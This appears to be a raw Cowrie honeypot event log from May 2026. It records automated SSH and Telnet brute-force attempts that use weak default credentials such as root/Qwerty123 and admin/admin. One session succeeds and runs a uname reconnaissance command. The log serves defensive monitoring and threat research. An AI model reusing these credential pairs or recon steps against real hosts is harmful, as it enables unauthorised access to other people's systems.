{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:56.503818Z","src_ip":"185.16.214.226","session":"ec12599896c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:56.641070Z","src_ip":"185.16.214.226","session":"ec12599896c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:57.181161Z","src_ip":"185.16.214.226","session":"ec12599896c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":42652,"dst_ip":"10.17.0.5","dst_port":23,"session":"6632a031b042","protocol":"telnet","message":"New connection: 20.123.41.163:42652 (10.17.0.5:23) [session: 6632a031b042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:58.042064Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:58.310627Z","src_ip":"185.16.214.226","session":"ec12599896c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60098,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c771c3c9424","protocol":"ssh","message":"New connection: 45.156.87.254:60098 (159.203.135.109:22) [session: 4c771c3c9424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:59.002354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:59.007707Z","src_ip":"45.156.87.254","session":"4c771c3c9424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:59.197869Z","src_ip":"45.156.87.254","session":"4c771c3c9424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:59.562075Z","src_ip":"45.156.87.254","session":"4c771c3c9424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:00.650215Z","src_ip":"45.156.87.254","session":"4c771c3c9424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60102,"dst_ip":"159.203.135.109","dst_port":22,"session":"6504668e2688","protocol":"ssh","message":"New connection: 45.156.87.254:60102 (159.203.135.109:22) [session: 6504668e2688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:04.092901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:04.101591Z","src_ip":"45.156.87.254","session":"6504668e2688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:04.185585Z","src_ip":"45.156.87.254","session":"6504668e2688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:04.635783Z","src_ip":"45.156.87.254","session":"6504668e2688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:05.726266Z","src_ip":"45.156.87.254","session":"6504668e2688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54170,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9c932d6006","protocol":"telnet","message":"New connection: 20.123.41.163:54170 (10.17.0.5:23) [session: 6e9c932d6006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:06.717492Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52106,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8293748c212","protocol":"ssh","message":"New connection: 45.156.87.254:52106 (159.203.135.109:22) [session: a8293748c212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:09.304699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:09.309299Z","src_ip":"45.156.87.254","session":"a8293748c212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:09.502725Z","src_ip":"45.156.87.254","session":"a8293748c212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:09.886220Z","src_ip":"45.156.87.254","session":"a8293748c212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:10.974062Z","src_ip":"45.156.87.254","session":"a8293748c212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52108,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad58090b1be4","protocol":"ssh","message":"New connection: 45.156.87.254:52108 (159.203.135.109:22) [session: ad58090b1be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:14.828657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:14.833978Z","src_ip":"45.156.87.254","session":"ad58090b1be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:15.075811Z","src_ip":"45.156.87.254","session":"ad58090b1be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:15.508784Z","src_ip":"45.156.87.254","session":"ad58090b1be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:16.598530Z","src_ip":"45.156.87.254","session":"ad58090b1be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45762,"dst_ip":"159.203.135.109","dst_port":22,"session":"917b2afc3ad1","protocol":"ssh","message":"New connection: 45.156.87.254:45762 (159.203.135.109:22) [session: 917b2afc3ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:20.346494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:20.352847Z","src_ip":"45.156.87.254","session":"917b2afc3ad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:20.437984Z","src_ip":"45.156.87.254","session":"917b2afc3ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.62176322937012,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:20.669102Z","src_ip":"104.245.105.2","session":"96bcb3cebb64","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:20.694321Z","src_ip":"45.156.87.254","session":"917b2afc3ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:21.786829Z","src_ip":"45.156.87.254","session":"917b2afc3ad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45774,"dst_ip":"159.203.135.109","dst_port":22,"session":"d096e37695f3","protocol":"ssh","message":"New connection: 45.156.87.254:45774 (159.203.135.109:22) [session: d096e37695f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:25.829161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:25.847528Z","src_ip":"45.156.87.254","session":"d096e37695f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:25.932158Z","src_ip":"45.156.87.254","session":"d096e37695f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:26.256984Z","src_ip":"45.156.87.254","session":"d096e37695f3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:26.486739Z","src_ip":"45.156.87.254","session":"d096e37695f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:26.490242Z","src_ip":"45.156.87.254","session":"d096e37695f3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:26.575588Z","src_ip":"45.156.87.254","session":"d096e37695f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:26.581856Z","src_ip":"45.156.87.254","session":"d096e37695f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":38638,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc9f1607d79c","protocol":"ssh","message":"New connection: 103.143.231.102:38638 (10.17.0.5:22) [session: fc9f1607d79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:27.569106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:27.573834Z","src_ip":"103.143.231.102","session":"fc9f1607d79c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:27.645894Z","src_ip":"103.143.231.102","session":"fc9f1607d79c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:27.966986Z","src_ip":"103.143.231.102","session":"fc9f1607d79c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:29.042498Z","src_ip":"103.143.231.102","session":"fc9f1607d79c","protocol":"ssh"}
